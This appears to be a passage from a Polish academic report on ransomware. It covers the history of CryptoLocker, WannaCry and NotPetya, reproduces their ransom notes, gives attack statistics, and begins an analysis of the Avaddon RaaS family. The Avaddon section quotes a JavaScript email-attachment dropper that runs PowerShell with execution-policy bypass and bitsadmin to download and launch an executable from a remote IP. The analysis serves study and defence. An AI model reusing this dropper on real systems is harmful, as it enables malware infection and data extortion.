z algorytmu RSA z kluczem 1024-bitowym oraz nadpisujgca szyfrowane wersje plikow. Tym
samym odzyskanie danych bez optacania okupu iprzy braku kopii zapasowej stato sie

praktycznie niemozliwe.
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11.7.3 Rok 2013

Rok 2013 byt waznym okresem w historii ransomware ze wzgledu na pojawienie sie
oprogramowania CryptolLocker. Byt to jeden z pierwszych znanych przypadkéw ransomware,
ktéry wykorzystywat zaawansowane techniki szyfrowania - m.in. algorytm RSA z kluczem
2048-bitowym. Para kluczy dla algorytmu RSA generowana byta naserwerze
cyberprzestepcéw w ramach fazy instalacji. CryptoLocker pobierat z serwera jedynie klucz
publiczny, ktéry nastepnie uzywat w procesie szyfrowania danych. Za dostep do klucza
prywatnego, ktdéry umozliwiat odszyfrowanie danych, cyberprzestepcy zadali okupu.
CryptolLocker rozprzestrzeniat sie gtdwnie za pomocg zainfekowanych zatacznikéw e-
mailowych. Przestepcy wysyfali e-maile podszywajace sie pod wiadomosci od renomowanych
firm lub instytucji, zawierajgce ztosliwe zataczniki. Gdy ofiara otwierata zatacznik, jej pliki byty
szyfrowane. CryptoLocker Zadat odofiar okupu w Bitcoin'ach, co sprawiato,
ze cyberprzestepcy byli trudni do identyfikacji. Ofiary, ktére nie ptacity, tracity dostep do
zaszyfrowanych plikéw. CryptoLocker miat znaczacy wptyw na firmy, organizacje i jednostki
na catym Swiecie. Ofiary byly zmuszone do ptacenia okupdéw lub trwale tracity dostep do
cennych danych. W 2014 roku amerykanska Federalna Komisja Handlu (FTC) wspdlnie
z innymi instytucjami i firmami cyberbezpieczenstwa przeprowadzita operacje odblokowania

kluczy CryptoLocker, co umozliwito niektérym ofiarom odzyskanie dostepu do swoich danych.
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CryptoLocker

Your important files encryption produced on this computer: photos, videos,
documents, etc.

If you see this text, but do not see the "CryptoLocker” window, then your antivirus
deleted "CryptolLocker"” from computer.

If you need your files, you have to recover "CryptoLocker" from the antivirus
quarantine, or find a copy of "CryptoLocker” in the Internet and start it again.

You can download "CryptoLocker” from the link given below.

Approximate destruction time of your private key:

If the time is finished you are unable to recover files anymore! Simply remove this
wallpaper from your desktop.

Rysunek 3. CryptoLocker - notatka z zgdaniem okupu
(zrodio: https://www.avast.com/c-cryptolocker)

CryptoLocker byt przetomowym momentem w historii ransomware i wptynat na rozwdj
tego typu ztosliwego oprogramowania. W ciggu nastepnych lat pojawity sie bardziej
zaawansowane i liczne warianty ransomware, ktére kontynuowaty swoje ataki na organizacje

i jednostki na catym swiecie.
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# Cryptolocker

Payment for private key

Choose 3 convenient payment method:
Bitcoin (most cheap option) v

©bitcoin

Bitcon s 3 cryptocurrency where the creation and transfer of bitcors is based on an
open-source ayptographic protocol that is ndependent of any central authority.
Bitcomns can be transferred through 3 computer or smartphone without an Nermediate
financial iInstitution.

You have to send below fied amount to Bitcon address
, . and specify the transaction 10, which
Private key will be destroyed on wil be verified and confirmed.

Home Page
Getting started with Bitcoin

Time left

Enter the transaction 1D and press «Pay»:

Rysunek 4. CryptoLocker - narzedzie wspomagajqce optacenie okupu
(zrodio: https://www.avast.com/c-cryptolocker)

Pod koniec roku 2013 w przeanalizowanych portfelach Bitcoin’éw powigzanych z atakami
Cryptolocker'a przechowywanych byto prawie 42000 Bitcoin’éw (BTC), co przy éwczesnym
kursie dawato ponad 27 milionéw dolaréw. Uwzgledniajgc kurs z dnia 8.11.2023, uzyskane

okupy byty warte prawie 1.5 miliarda dolaréw.

II.7.4 Rok 2017

Rok 2017 byt wyjatkowo waznym okresem w historii ransomware, ze wzgledu
na pojawienie sie jednej z najgrozniejszych wersji ransomware w historii - WannaCry, jak
rowniez narozwijajgce sie zagrozenia zwigzane ztego typu oprogramowaniem. W maju
2017 roku przeprowadzony zostat globalny atak ransomware z wykorzystaniem WannaCry.
Atak ten dotknat organizacje na catym S$wiecie, wtym stuzbe zdrowia, przedsiebiorstwa
i instytucje rzgdowe. WannaCry wykorzystywat podatnosci w systemach operacyjnych
Windows, co pozwolito mu rozprzestrzeniac sie bardzo szybko. WannaCry w szczegdlnosci
atakowat system Windows XP. Przestepcy wykorzystali narzedzie EternalBlue, ktére wczesniej

zostato skradzione z agencji wywiadu NSA. WannaCry szyfrowat pliki na zainfekowanych
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komputerach, uniemozliwiajgc dostep do danych. Nastepnie wyswietlat komunikat

informujacy ofiare o zaszyfrowanych plikach i zgdat okupu w zamian za klucz deszyfrujacy.

Ofiary ataku byly zmuszone pfaci¢ okup, aby odzyska¢ dostep do swoich danych. Atak
WannaCry miat ogromny wptyw na organizacje na catym Swiecie, zwfaszcza w sektorze stuzby
zdrowia - wiele szpitali i placowek medycznych doswiadczyto utraty dostepu do swoich

systemow informatycznych, w tym do danych medycznych pacjentow.

Rysunek 5. WannaCry - mapa zasiegu
(zrodio: https://www.avast.com/pl-pl/c-wannacry)

WannaCry byt swego rodzaju ostrzezeniem przed potencjalnym wptywem ransomware
na $wiatowg infrastrukture i skomunikowanie, jak wazne jest utrzymywanie zaktualizowanych
systemoOw i stosowanie srodkdéw bezpieczeristwa w celu ochrony przed takimi atakami.

To takze przyspieszyto Swiadomos¢ potrzeby walki z ransomware na szeroka skale.
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' Wana DecryptOr 2.0

English

What Happened to My Computer?
Your important files are encrypted.
Many of your documents, photos, videos, databases and other files are no longer
accessible because they have been encrypted. Maybe you are busy looking for a way to
recover your files, but do not waste your time. Nobody can recover your files without
our decryption service.
Payment will be raised on Can I Recover My Files?
51512017 16:32:52 Sure. We guarantee that you can recover all your files safely and easily. But you have
not so enough time.
Time Left 'You can decrypt some of your files for free. Try now by clicking <Decrypt=.

Yia R i But if you want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the price will be doubled.
Also, if you don't pay in 7 days, you won't be able to recover your files forever.
'We will have free events for users who are so poor that they couldn’t pay in 6 months.

Your files will be lost on

How Do I Pay?

Payment is accepted in Bitcoin only. For more information, click <About bitcoin>.
Please check the current price of Bitcoin and buy some bitcoins. For more information,
click <How to buy bitcoins>.

And send the correct amount to the address specified in this window.

After your payment, click <Check Payment>. Best time to check: 9:00am - 11:00am L'

Fat VL - SO SN PP S I Ja

5/19/2017 16:32:52

Send $300 worth of bitcoin to this address:

12t9YDPgwueZ9NyMgw519p7AA8isjré SMw |

Check Payment

bitcoin

ACCEPTED HERE

Contact Us

Rysunek 6. WannaCry - notatka z zgdaniem okupu
(zrodio: https://www.avast.com/pl-pl/c-wannacry)

W czerwcu 2017 roku przeprowadzony zostat kolejny znaczacy atak ransomware, ktory
poczgtkowo byt mylony z wariantem Petya. Pdzniej okazato sie, ze za atak odpowiedzialne
byto oprogramowanie ransomware zwane NotPetya. Poczagtkowo miat on nacelu firmy
i organizacje w Ukrainie. Jednak szybko rozprzestrzenit sie nainne kraje ifirmy na catym
Swiecie. NotPetya wykorzystywat podatnosci w systemie Windows i rozprzestrzenit sie bardzo
szybko, podobnie jak WannaCry. Przestepcy wykorzystali narzedzie EternalBlue, ktére zostato
skradzione zagencji wywiadu NSA, do utatwienia rozprzestrzeniania sie ransomware.
W przeciwienstwie do wielu innych wariantéw ransomware, NotPetya szyfrowat MFT (Master
File Table) nadysku twardym, co sprawito, ze system operacyjny nie mogt zostaé
uruchomiony. To blokowato nie tylko dostep do danych, aledo catego systemu
komputerowego. NotPetya od ofiar zadat okupu w Bitcoinach. Przestepcy stworzyli

dedykowany adres e-mail, na ktory ofiary miaty wystaé potwierdzenie.
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Ooop your important file are encrypted

| you ee thi text then your file are no longer e ible because they
have been encrypted Perhaj you are busy looking for a way to recover vyour
file but don’t waste your time Nobody an recover your file without our

decryption ervice

He guarantee that you can recover all your file afely and easily All vou

need to do i ubmit the paymen and purchase the decryption key

Please follow the instruction
1 yend $388 worth of Bitcoi to following addre

7153HMuxXTuRZ2R1t78MGSdzaAtNbBUX

yend your Bitcoin wallet ID and personal inst: wtion key to e

11 e
wowsMith123456@posteo. net. Your personal installation key

ZRNagE-CDBMfc-pD5Aid- ’—~14Mhs5-d7UCzb-RY jq3E-ANg8rR-49XF X2}

If you already purchased yt key, please enter it below

Rey

Rysunek 7. NotPetya - informacja z Zgdaniem okupu
(Zrodto: https://www.crowdstrike.com/blog/petrwrap-ransomware-technical-analysis-triple-threat-file-
encryption-mft-encryption-credential-theft/)

Szacuje sie, ze w roku 2017 NotPeta tylko w sektorze firm logistycznych spowodowat straty
liczone w setkach milionach dolaréw. Podobne szkody zostaty wyrzadzone firmom kurierskim.
Przyktadowo, przychody firmy kurierskiej FedEx po ataku NotPetya spadty o 300 milionéw
dolardéw, a firma TNT Express musiata czasowo zawiesi¢ swojg dziatalnosci. NotPeyta atakowat
rowniez inne sektory gospodarki - firma Reckitt Benckiser z powodu opdznieft w dostawach

stracita ponad 140 milionéw dolaréw.

W 2017 roku rynek ustug typu Ransomware as a Service (RaaS) zaczat szybko zyskiwaé
na popularnosci. To dawato cyberprzestepcom dostep do zaawansowanych narzedzi
ransomware, nawet jesli sami nie byli specjalistami w tej technologii. Wizja wysokich wartosci
okupdw sprawita, ze ataki ransomware byly coraz czesciej ukierunkowane na firmy
i organizacje. Pojawity sie pierwsze warianty ransomware, ktére atakowaty urzadzenia
mobilne takie jak smartfony itablety. W 2017 roku zaobserwowano réwniez dynamiczny
rozwdj nowych wariantdow ransomware, co sprawito, ze walka z tego typu zagrozeniem stata

sie jeszcze trudniejsza.

11.7.5 Od 2020
Ransomware w dalszym ciggu pozostaje powaznym zagrozeniem dla instytucji, organizacji,

firm i jednostek na catym $wiecie. Od roku 2020:

e Oprogramowanie ransomware ciggle zyskuje na ztozonosci i réznorodnosci.
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Ransomware nadal ewoluuje istaje sie coraz bardziej zaawansowany. Przestepcy
czesto wykorzystujg rézne techniki i narzedzia, aby osiggnac swoje cele.

Przestepcy zaczeli kierowa¢ swoje ataki ransomware na sektory krytycznej
infrastruktury, takie jak elektrownie, zaktady przemystowe czy dostawcow ustug
publicznych. Ataki te mogg mieé powazne skutki dla bezpieczenstwa narodowego.
Atakujacy w dalszym ciggu wykorzystuja podatnosci w oprogramowaniu, zwtaszcza
w systemach operacyjnych ioprogramowaniu biurowym, aby rozprzestrzeniaé
ransomware.

Model ustug Ransomware as aService nadal jest popularny w sSwiecie
cyberprzestepczosci. Dostarcza przestepcom narzedzia iustugi potrzebne do
przeprowadzenia atakéw.

W przypadku niektorych atakow okupy zadane przez przestepcéw bywaja znacznie
wyzsze niz kiedys, zwtaszcza jesli atak jest ukierunkowany na duze organizacje czy
korporacje.

Oprécz grup przestepczych ztechnologii ransomware korzystajg réwniez niektére
agencje rzgdowe, a ransomware zaczat by¢ rowniez traktowany jako narzedzie atakow
panstwowych - niektére panstwa lub grupy dziatajgce na zlecenie panstw moga
wykorzystywac ransomware do realizacji swoich celdw geopolitycznych.

W okresie pandemii COVID-19 zaobserwowana zostata zwiekszona liczba atakow
na instytucje medyczne. Sytuacja ta stanowita powazne zagrozenie dla bezpieczenstwa
i zdrowia publicznego.

Firmy, organizacje irzady podejmuja wzmozone dziatania w celu zwiekszenia
Swiadomosci  natemat ransomware, edukacji pracownikdw  w zakresie
cyberbezpieczenistwa, tworzenia kopii zapasowych danych oraz utrzymywania
zaktualizowanych systemdw i oprogramowania. W kontekscie ransomware konieczne
jest podjecie skoordynowanych dziatan w celu zwalczania tego zagrozenia. Firmy
i organizacje muszg inwestowac¢ w srodki bezpieczedstwa oraz reagowac na ataki,
jednoczesnie rzady muszg dziata¢ naszczeblu miedzynarodowym, aby Scigac
przestepcow i zapobiegac atakom ransomware.

Walka zransomware pozostaje jednym zgtédwnych wyzwan w dziedzinie

cyberbezpieczenstwa.
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II.8 Statystyki atakow ransomware

11.8.1

11.8.2
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Rok 2021

Odnotowano ponad 623 miliony atakéw z wykorzystaniem oprogramowania
ransomware - wzrost o 105% w poréwnaniu z rokiem 2020.

Ponad jedna trzecia firm na swiecie doswiadczyta préb ataku ransomware.

Srednia kwota z3danego okupu wzrosta 082% w poréwnaniu zrokiem
2020 i w przypadku atakéw na firmy i instytucje wynosita 570 000 USD.

Srednia kwota zaptaconego okupu wzrosta oponad 45% iwyniosta prawie
125 000 USD.

Co najmniej 15% uzytkownikéw Internetu doswiadczyto co najmniej jednej préby
ataku malware (w tym ransomware).

Firma Kaspersky zapobiegta prawie 370 tysigcom atakdédw ransomware na réznych
uzytkownikow.

Zanotowano wzrost o ponad 33% przypadkow atakow ransomware, w ktorych w fazie
infiltracji korzystano z podatnosci w oprogramowaniu.

Ransomware byt najpopularniejszym rodzajem oprogramowania malware, ktodre
atakowato firmy oraz organizacje.

Ataki ransomware nainstytucje medyczne w USA wygenerowaty koszty rzedu
7.8 miliardow USD. Prawie 20 miliondw rekordéow danych pacjentéw zostato
zainfekowanych ~ wponad 100 atakach.  Cyberprzestepcy zadali  okupow
od 250 000 USD do 5 000 000 USD.

Szacowana sumaryczna wielkos¢ zaptaconych okupoéw wyniosta 766 000 000 USD.
Zaobserwowano ponad 140 aktywnych rodzin oprogramowania ransomware.

Sredni czas zycia danej wersji ransomware wynosit 153 dni.

50 % ofiar udanych atakéw ransomware zaptacita okup.

Rok 2022

W roku 2022 liczba atakéw ransomware spadta 0 23% - wynik zwiekszonej aktywnosci
instytucji panstwowych wwalce ransomware oraz wiekszej S$wiadomosci
uzytkownikow.

Ataki ransomware stanowity okoto 20% wszystkich cyberprzestepstw.



Value received

11.8.3

Ataki ransomware odpowiadaty za 4% przestepstwa popetnionych w firmach
w Wielkiej Brytanii.

Wiele instytucji rzadowych w Kostaryce zostato zaatakowanych przez ransomware.
Szacuje sie, zetylko w Ministerstwie Finanséw zainfekowanych zostato ponad
800 systemdéw komputerowych izaszyfrowanych zostato wiele terabajtéw danych.
Cyberprzestepcy zadali okupdéw w wysokosci 10000 000 USD. Dzienne straty
spowodowane przez atak szacowane sg na 38 000 000 - 125 000 000 USD.

Szacowana sumaryczna wielko$¢ zaptaconych okupdéw wyniosta 457 000 000 USD.
Sredni czas zycia danej wersji ransomware wynosit 70 dni i byt 54% krétszy niz w roku
2021.

41 % ofiar udanych atakéw ransomware zaptacita okup.

Monthly total value and number of transfers received
by Deadbolt ransomware, 2022
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Rysunek 8. Deadbolt - podsumowanie aktywnosci w roku 2022
(zrodio: https://go.chainalysis.com/2022-crypto-crime-report-demo.html)
Najczesciej atakowane panstwa (ogdlnie w kontekscie atakow

ransomware)

Izrael

Korea Potudniowa
Wietnam

Chiny

Singapur
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Indie
Kazachstan
Filipiny
Iran

Wielka Brytania

Najczesciej atakowane panstwa (w kontekscie atakdw ransomware
na firmy i organizacje)

USA (47%)

Wtochy (8%)

Australia (8%)

Brazylia (6%)

Niemcy (6%)

Rodziny ransomware z najwyzszymi sumarycznymi kwotami opftaconych
okupéw (stan na rok 2021)

Conti - ponad 180 000 000 USD
DarkSide - prawie 100 000 000 USD
Cryptolocker - prawie 60 000 000 USD
REvil - ponad 40 000 000 USD

Cuba - ponad 20 000 000 USD

Inne statystyki

Ponad 93% atakow z wykorzystaniem oprogramowania ransomware dotyczy
systemow komputerowych korzystajgcych z systemu operacyjnego Windows.

41% atakow ransomware w fazie infiltracji korzysta z phishingu email.

Ponad 90% atakdow ransoware zakonczyto sie porazka lub nie spowodowato szkdd
w systemach komputerowych ofiar.

Szacuje sie, ze do roku 2031, co dwie sekundy nastepowat bedzie skuteczny atak
ransomware.

Szacuje sie, ze okoto 65% firm w Kanadzie padto ofiarg ataku ransomware. 11% z nich
zaptacito okup. Skradzione dane 12% zostaly udostepnione w sieci Internet

lub darknet.



e Zaktada sie, ze 20% kosztéw zwigzanych z atakiem ransomware zwigzane s3 ze

stratami finansowymi.
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Il Analiza ransomware Avaddon

Niniejszy rozdziat przedstawia podsumowanie wynikéw uzyskanych podczas analizy
oprogramowania ransomware zrodziny Avaddon?®. W ramach badar przeprowadzona

zostata:

e analiza statyczna;
e analiza dynamiczna;

e audyt odzyskanych kodéw;

Uzyskane wyniki umozliwity przeprowadzenie technicznej analizy budowy, sposobu
dziatania oraz sposobu rozprzestrzeniania. Rozdziat ten nalezy traktowaé jako przyktad
pokazujgcy, wjaki sposéb analizowane byty poszczegdlne probki oprogramowania

ransomware.

I1l.1 Opis dziatania z punktu widzenia zaatakowanego uzytkownika
Oprogramowanie ransomware zrodziny Avaddon stanowi przyktad bardzo
zaawansowanego narzedzia, dystrybuowanego w modelu RaaS — ransomware as a service.
W modelu tym ataki z wykorzystaniem ransomware oferowane sg w formie ustugi, z ktérej
skorzysta¢é moze kazdy chetny. Do niedawna, przeprowadzenie atakéw z wykorzystaniem
oprogramowania ransomware wigzato sie z koniecznoscig posiadania odpowiedniej wiedzy,
wysoko wykwalifikowanych zasobow ludzkich oraz zasobow technicznych. Zchwilg
wprowadzenia ustug typu RaaS, mozna korzystal z gotowych narzedzi, umozliwiajacych

przygotowanie, przeprowadzenie i kontrolowanie atakéw ransomware.

Pierwsze ataki z wykorzystaniem Avaddon zostaty zidentyfikowane na poczatku roku
2020%’. Tego tez roku rozpoczeto sie $wiadczenie ustug typu RaaS oraz obserwowany byt szybki
rozwdj i doskonalenie jakosci tego typu ustug. Pojawiaty sie kolejne wersje oprogramowania,
posiadajgce dodatkowe opcje dziatania oraz konfiguracji. Ataki z wykorzystaniem Avaddon’a
nie zostaty przerwane nawet w momencie opublikowania w domenie publicznej narzedzia

umozliwiajgcego odzyskanie zaszyfrowanych danych?®. W odpowiedzi na to narzedzie

26 Avaddon, Malpedia, https://malpedia.caad.fkie.fraunhofer.de/details/win.avaddon, (dostep 01.2022)

27 Avaddon Ransomware, NHS Digital, https:/digital.nhs.uk/cyber-alerts/2021/cc-3833, (dostep 01.2022)
28 Sz. Czudowki, Bitdefender udostepnia darmowy deszyfrator Avaddon, Bitdefender,
https://bitdefender.pl/bitdefender-udostepnia-darmowy-deszyfrator-avaddon/, (dostep 01.2022)
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cyberprzestepcy przygotowali nowg wersje oprogramowania, dla ktdrej owe narzedzie nie

dziatato.

Avaddon, wraz zutworzonym modelem dystrybucji RaaS, byt promowany przez
cyberprzestepcow wsieci TOR (darknet), nardinego rodzaju forach oraz grupach

dyskusyjnych. Pierwsze wersje oprogramowania reklamowaty hasta:

e Unikatowy tadunek napisany w C++ (Unique payloads written in C++)

e Szyfrowanie plikéw z wykorzystaniem algorytméw AES256%° oraz RSA20483°,
wsparcie dla szyfrowania catej zawartosci plikdw oraz obstuga paremetryzacji (File
encryption via AES256 + RSA2048, supporting full-file encryption & custom
parameters)

e Moizliwos¢ pracy wtrybie offline, bez koniecznosci kontaktu zserwerami
atakujacych (Full offline support, initial contact to C2 not required)

e ,Niemozliwe” odzyskanie zawartosci plikéw przez strony trzecie (“Impossible” 3rd
party decryption)

e Obstuga systemu operacyjnego Windows 7 oraz kolejnych wersji (Support for
Windows 7 and higher)

e Wielowatkowa obstuga szyfrowania w celu zwiekszenia wydajnosci szyfrowania
(Multi-threaded file encryption for max performance)

e Szyfrowanie plikdw na lokalnych oraz zdalnych dyskach (Encryption of all local and
remote (and accessible) drives)

e Wsparcie IOCP dla réwnolegtego szyfrowania plikdw (IOCP Support for parallel file
encryption)

e Szyfrowanie nowo dodanych plikdbw do systemu oraz podtgczonych zasobdw
dyskowych (Persistently encrypts newly written files and newly connected media)

e Mozliwos¢ rozprzestrzeniania z wykorzystaniem mechanizméw obstugi dyskowych
udziatéw sieciowych takich jak SMB czy DFS (Ability to spread across network shares

(SMB, DFS))

2 Advanced Encryption Standard (AES), FIPS 197, NIST, 2001,
https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.197-upd1.pdf
30 PKCS #1: RSA Cryptography Specifications, RFC 8017, https://datatracker.ietf.org/doc/html/rfc8017
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e Wiele opcji dystrybucji ransomware takich jak skrypty, PowerShell*!, pliki EXE,
biblioteki DLL) (Multiple delivery options (script, PowerShell, .EXE payload, .DLL))

e Praca w trybie podwyzszonych uprawnien (Payload executes as administrator)

e Szyfrowanie ukrytych plikdw oraz dyskéw (Encrypts hidden files and volumes)

e Usuwa zawartos¢ kosza systemowego, dane mechanizmu Volume Shadow Copies
(VSS) oraz punkty odzyskiwania stanu systemu (Removes trash, Volume Shadow
Copies (VSS), and other restore points)

e Zatrzymuje procesy mogace mie¢ wptyw na mechanizm szyfrowania plikéw
(Termination of processes which inhibit encryption of files)

e Umozliwia dodatkowo okreslenie wtasnej tresci oraz zachowania wiadomosci

o infekcji (Configurable ransom note behawior)

Dla klientéw ustugi RaaS®?, twércy Avaddon udostepnili aplikacie WWW umozliwiajacy
konfigurowanie, budowanie irozprzestrzenianie ztosliwego oprogramowania. Dodatkowo,
kazdy z uzytkownikdw miat mozliwos¢ nadzorowania trwajgcej kampanii malware’owej wraz
z analizg jej efektywnosci pod katem m.in. liczby udanych atakéw czy tez liczby zaptaconych
okupdéw. Dla mniej zaawansowanych uzytkownikéw, aplikacja udostepnia wsparcie
techniczne, ktére, w pewnym okresie dziatania ustugi, sSwiadczone byto w trybie 24/7.
Aplikacja WWW do obstugi RaaS dostepna byta w zasobach sieci TOR. Na pdzniejszym etapie
funkcjonowania, do aplikacji dodana zostata np. mozliwos$¢ przeprowadzania atakéw typu
DDoS33. Ataki te byty przeprowadzanie na organizacje oraz instytucje, ktére nie decydowaty

sie na zaptate zgdanego okupu.

Na poczatku roku 2021 firma Bitdefender udostepnita bezptatne narzedzie umozlwiajgce
odzyskanie zaszyfrowanych danych. Podobne narzedzie, w domenie publicznej, udostepnione
zostato przez badacza z zakresu bezpieczeristwa — Javier'a Yuste34. Nalezy zaznaczy¢, ze np.
narzedzie utworzone J. Yuste do prawidtowego dziatania potrzebowato zrzutu pamieci
procesu Avaddon, ktéry zostat wykonany w momencie trwajacego ataku. Ztego zrzutu

odczytywane byty dane kryptograficzne, ktére nastepnie wykorzystywane byly w procesie

31 Co to jest program PowerShell?, PowerShell, Microsoft, https://learn.microsoft.com/pl-
pl/powershell/scripting/overview?view=powershell-7.3, (dostep 07.2023)

32 Ransomware as a Service, Wikipedia, https://en.wikipedia.org/wiki/Ransomware as_a_service, (dostep:
01.2022)

33 Atak DDoS, Wikipedia, https://pl.wikipedia.org/wiki/DDoS, (dostep 01.2022)

34 AvaddonDecryptorm, https://github.com/JavierYuste/AvaddonDecryptorm, (dostep 01.2022)
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odzyskiwania zaszyfrowanych plikéw. Zaistniata sytuacja nie doprowadzita jednak do
zakonczenia atakow z wykorzystaniem Avaddon. W odpowiedzi, powstata nowa wersja
ransomware, uniemozliwiajgca odzyskanie danych z wykorzystaniem wymienionych powyzej
narzedzi. Dodatkowo, aktywni wdanym momencie uzytkownicy RaaS, otrzymali

znizke w ramach ponoszonej co miesigc optaty za ustuge.

W potowie roku 2021 cyberprzestepcy zaprzestali rozwijania kolejnych wersji Avaddon
oraz wytgczyli ustuge RaaS. Dodatkowo, tworcy udostepnili serwisowi BleepingComputer.com
dane kryptograficzne umozliwiajgce odszyfrowanie wczesniej zaszyfrowanych danych. Na tej
podstawie firma Emisisoft przygotowata narzedzie deszyfrujgce3®, umozliwiajgce odzyskanie
utraconych podczas atakéw danych. Sumarycznie, twodrcy przestali 2934 rézne klucze
deszyfrujgce. Szacuje sie, ze srednia wielkos¢ oczekiwanego okupu wynosita okoto
600 000 USD3®. Nie jest wiadomo, dlaczego cyberprzestepcy zaprzestali rozwijania tego
oprogramowania oraz swiadczenia ustug RaaS. Przyjmuje sie, ze byto to konsekwencjg coraz
bardziej intensywnych dziatan organdw scigania, wynikajacych z udanych atakéw na krytyczng

infrastrukture wielu krajéw.

35 Avaddon decryptor, Emsisoft, https://www.emsisoft.com/ransomware-decryption-tools/avaddon, (dostep
01.2022)

36 Avaddon ransomware group closes store, sends all 2,934 decryption keys to BleepingComputer,
https://techbeezer.com/avaddon-ransomware-group-closes-store-sends-all-2934-decryption-keys-to-
bleepingcomputer/, (dostgp 01.2022)
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AVADDON RANSOMWARE VICTIMS BY INDUSTRY
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Branze, najczesciej atakowane przez Avaddon
(Zrodlo: https://www.mandiant.com)
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AVADDON RANSOMWARE VICTIMS BY COUNTRY
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Rysunek 10. Ataki Avaddon w podziale na kraje
(Zrodlo: https://www.mandiant.com)

[11.2 Sposdb instalac;i

Kampanie malware’owe (faza infiltracji) przeznaczone do dystrybucji ransomware’a
Avaddon przewaznie korzystaty z mechanizmodw poczty elektronicznej - phishing e-mail. Tego
typu kampanie prowadzone byty poprzez rozsytanie wiadomosci e-mail zawierajacych
zainfekowane zatgczniki. Zataczniki te zawieraty kod JavaScript lub makra oprogramowania
pakietu Microsoft Office. Nazwy oraz rozszerzenia zatgcznikéw, jednakze, wskazywaty, ze sg
to obrazki (np. pliki w formacie JPG) albo pliki archiwum (np. ZIP). Préba otwarcia takiego

zatgcznika przewaznie konczyta sie infekcjg systemu.

Avaddon, oprécz kampanii z wykorzystaniem poczty elektronicznej, oferowat réwniez inne

metody dystrybucji:

e Pobranie oraz uruchomienie z wykorzystaniem dedykowanego oprogramowania

(np. Smoke Loader).
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e Automatyczna dystrybucja z wykorzystaniem znanych podatnosci w mechanizmie
RDP (Remote Desktop Protocol)?”.

e Automatyczna dystrybucja z wykorzystaniem znanych podatnosci
w implementacjach VPN (Virtual Private Network)38.

e Dystrybucja wykorzystujgca stabe hasta uzywane w mechanizmie RDP.

e Dystrybucja wykorzystujgca stabe hasta uzywane w mechanizmie VPN.

Wykorzystywane przez Avaddon metody infiltracji:

e Podatnosci w oprogramowaniu - RDP.
e Podatnosci w oprogramowaniu - VPN.

e Phishing e-mail.

Metody te uznawane sg przez badaczy bezpieczenstwa za jedne z najgrozniejszych [8].
Wykorzystanie mechanizmu RDP (Remote Desktop Protocol), ktéry przewaznie kojarzy sie
z firmami oraz duzymi korporacjami, wskazywato jednoznacznie na potencjalne cele atakéw.
W srodowisku uzytkownikéw indywidualnych, rzadko korzysta sie z tego protokotu. Wybranie,
przez Avaddon, tego wektora ataku wskazuje nazmiane podejscia cyberprzestepcow do
atakéw z wykorzystaniem ransomware. Do tamtego momentu, przewaznie atakowani byli
uzytkownicy indywidualni. Zysk cyberprzestepcow byt wprost proporcjonalny do liczby
udanych atakow. Uzytkownicy indywidualni rzadko decydowali sie na optacenie okupu.
Dodatkowo, jego wysokos$¢ nie mogta by¢ duza. W zwigzku ztym, atak, zeby byt dla
cyberprzestepcow optacalny, musiat dotyczy¢ bardzo wielu uzytkownikéow indywidualnych.
Dlatego tez twdrcy Avaddon, za cele atakow wybrali firmy oraz duze korporacje. Dzieki temu,
mogli zada¢ bardzo wysokich okupow, ktére nawet przy pojedynczych udanych atakach,
mogty przynie$¢ cyberprzestepcom bardzo duze zyski. Wykorzystanie protokotu RDP przez
firmy na catym swiecie gwattownie zwiekszyto sie wraz z wybuchem pandemii COVID-19.
Protokot ten umozliwia zdalng prace w systemie operacyjnym Microsoft Windows. RDP

atakowany jest przewaznie z wykorzystaniem nastepujgcych wektoréw:

e Wykorzystanie luk bezpieczenstwa pozwalajgcych na zdalne wykonanie kodu. Jak

pokazujg badania bezpieczenstwa z ostatnich kilkunastu miesiecy, protokét RDP

37 Understanding the Remote Desktop Protocol (RDP), Windows Server, Microsoft,
https://learn.microsoft.com/en-us/troubleshoot/windows-server/remote/understanding-remote-desktop-protocol
38 Virtual Private Network, Wikipedia, https://en.wikipedia.org/wiki/Virtual_private_network, (dostep 01.2022)
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posiada wiele, sukcesywnie odkrywanych podatnosci. Dodatkowo, wiele firm nie
aktualizuje regularnie komponentéw programowych, umozliwiajgc atakujgcym
korzystanie ze znanych publicznie luk bezpieczenstwa.

e Wykorzystanie otwartych portéow protokotu RDP do skanowania oraz odkrywania
innych podatnosci atakowanego systemu.

e Wykorzystanie faktu, iz wielu uzytkownikdédw korzysta ze stabych jakosciowo
(w sensie bezpieczenstwa) danych uwierzytelniajgcych, podatnych np. na ataki typy

brute-force®?.

Kolejny wektor ataku, VPN (Virtual Private Network), réwniez swiadczy o celach atakéw —
firmy oraz duze korporacje. Atakujacy korzystaja przewaznie ze znanych podatnosci
w implementacjach VPN oraz faktu, iz cze$¢ firm nie aktualizuje na biezgco uzywanych wers;ji

oprogramowania.

Phishing jest jedng znajstarszych oraz najczesciej stosowanych  metod
na rozprzestrzenianie ztosliwego oprogramowania. W przypadku Avaddon, wykorzystywane

byty wspomniane wcze$niej wiadomosci e-mail.

39 Brute-force, https:/networkexpert.pl/cyberbezpieczenstwo/brute-force-czym-jest-atak-brute-force/, (dostep
01.2022)

85



= s Your new photo? - Message (Plain Text) 7?7 B - 0O
MESSAGE

Billy Green <Billy73@3189.com>

Your new photo?

To 2 B> i e fe R e K Ny
To 2Rt 3

¥ iy TR N,

Message 1 IMG123101.,jpgjs.zip (665 B)

o See more about Billy Green.

Rysunek 11. Przykladowa wiadomos¢ email z kampanii Avaddon’a
(zrodio www.bleepingcomputer.com)

var jsRun=new ActiveXObject ('WSCRIPT.Shell');

JsRun.Run ("cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object
System.Net.WebClient) .DownloadFile ('http://217.8.117.63/<name>.exe’', 'Stemps\\ [0-
91{7}{8}{9}.exe");Start-Process '$temp%\\[0-9]1{7}{8}{9}.exe '",false);

jsRun.Run ("cmd.exe /c bitsadmin /transfer getitman /download /priority high
http://217.8.117.63/<name>.exe %

Kod zrédtowy 1. Przyktadowa zawartosc zatqgcznika email — kod JavaScript, ktdry pobiera na komputer ofiary,
a nastepnie uruchamia, wirusa Avaddon

I11.3 Powodowane szkody

Udany atak z wykorzystaniem oprogramowania Avaddon powoduje wiele szkdd zaréwno
na komputerze ofiary. Dodatkowo, Avaddon réwniez moze powodowac szkody w zasobach
sieci, w ktdrej dziata zaatakowany system. Do najwazniejszych szkéd powodowanych przez

Avaddon naleza:

e Usuniecie lokalnych backupdw.
e Usuniecie plikéw mechanizmu VSS*.

